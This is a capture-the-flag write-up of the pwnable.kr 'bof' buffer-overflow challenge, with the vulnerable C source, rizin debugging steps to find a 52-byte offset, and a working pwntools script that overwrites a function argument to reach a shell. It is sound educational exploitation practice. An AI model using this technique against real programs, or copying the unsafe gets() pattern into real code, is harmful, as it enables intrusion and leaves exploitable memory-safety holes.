Pwnable.kr - Bof: Write-Up (with rizin and pwntools)
Tags: ctf, security, cybersecurity
Published: 2021-02-04 14:44:32

This was such as cool challenge to practice reading Assembly!

Generally speaking, this challenge is a bit different that the usual beginner buffer overflow challenge as there a some tricks present. 

For example, the binary has PIE and canaries enabled, so you'd think a buffer overflow wouldn't be possible. That's where you're wrong kid! (I was so wrong).

The approach is based on 3 steps:

1. identify the vulnerable function
2. identify the buffer
3. write the exploit

# The code

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

```

It's pretty obvious what we should do: 

* function `func` is called with the `0xdeadbeef` argument.
* if the argument is equal to `0xcafebabe`, it will unlock a shell. Otherwise, it will just tell you "Nah..".

# Getting into the code

Let's check the code:

```
~ checksec bof
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```
(`checksec` is part of the [pwntools](https://docs.pwntools.com/en/stable/) suite)

Checking the imports with `rz-bin -i bof` gives us this result:

```
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x000004c0 GLOBAL FUNC       gets
2   0x000004d0 GLOBAL FUNC       __stack_chk_fail
3   0x000004e0 WEAK   FUNC       __cxa_finalize
4   0x000004f0 GLOBAL FUNC       puts
5   0x00000500 GLOBAL FUNC       system
6   0x00000510 WEAK   NOTYPE     __gmon_start__
7   0x00000520 GLOBAL FUNC       __libc_start_main
8   0x00000000 WEAK   NOTYPE     _Jv_RegisterClasses

```

So we know already there is the `gets` function that is usually the culprit in buffer overflow attacks but that there is also `stack_chk_fail` so we cannot smash the stack like we want as it will be blocked by this failsafe.

Let's open that with [`rizin`](https://book.rizin.re/): `rizin -A bof` (with full analysis) and get all functions:

![all functions](https://dev-to-uploads.s3.amazonaws.com/i/eog2f1zdgjdhhfsiev37.png)

Then disassemble `main()` and `func()`:

![disassemble main and func](https://dev-to-uploads.s3.amazonaws.com/i/yp75ysj2rdw94ejiw1k0.png)

Nothing really new, let's try to run that binary. Without leaving `rizin`, run `ood` to relaunch in debug and let's add a break point just at the `var = dword [arg_8h] - 0xcafebabe` instruction with `db addr` (the address might change on your computer).

Now, run `dc` to start the debugging process.

![hitting breakpoint](https://dev-to-uploads.s3.amazonaws.com/i/yuur7iu5dm0938dxgod9.png)

Now let's check the registers with `drr`:

![registers](https://dev-to-uploads.s3.amazonaws.com/i/4wiocmyd9n91f2q9xxvb.png)

So here, `eax` has `pouet` as a value (what we entered) and `esp` points to `eax`. 

`0xcafebabe` will be compared to the argument of the function (`0xdeadbeef`) and if it's true, then we'll get the `system` call. But it's impossible so far as the argument is already set.

Allowing us to write something is just useful for the exercise not the code itself.

So if we manage to overwrite `0xdeadbeef` and replace it by `0xcafebabe` we'll get access to the system call. 

`0xdeadbeef` is locate in `ebp +8`, let's check that out:

![xw 4 @ ebp+8](https://dev-to-uploads.s3.amazonaws.com/i/wbhnsslrt4kp4awgj3t4.png)

And `eax`:

![xw 4 @ eax](https://dev-to-uploads.s3.amazonaws.com/i/cuwyu108sr0d0w779jlf.png)

We have now two memory addresses: `0xff8e9c5c` and `0xff8e9c90` that are not too far from each other. To know the distance, let's calculate it:

![?w addr1-addr2](https://dev-to-uploads.s3.amazonaws.com/i/7vw3zosb48ak07v9oqvy.png)


> `?w` will show what's in an address. I found some tutorial using `?X` but that didn't make sense to me. To see the help of those commands use `???`.

So the difference between the two addresses is 52 bytes. That'd be our buffer. 

# Exploit!

Using `pwntools`:

```python
from pwn import *

context.update(arch="i386", os="linux")
e = ELF("./bof")

payload = b"A" * 52 + p32(0xcafebabe, endian="little")

p = e.process(level="error")
p.recvline()
# overflow me:
p.sendline(payload)
p.interactive()
```
I found a lot of cool new techniques for pwntools [here](https://tc.gts3.org/cs6265/2019/tut/tut03-02-pwntools.html).


And that's it! It works locally and you'll have to modify the code for the remote exploit yourself, but it isn't too hard, don't worry!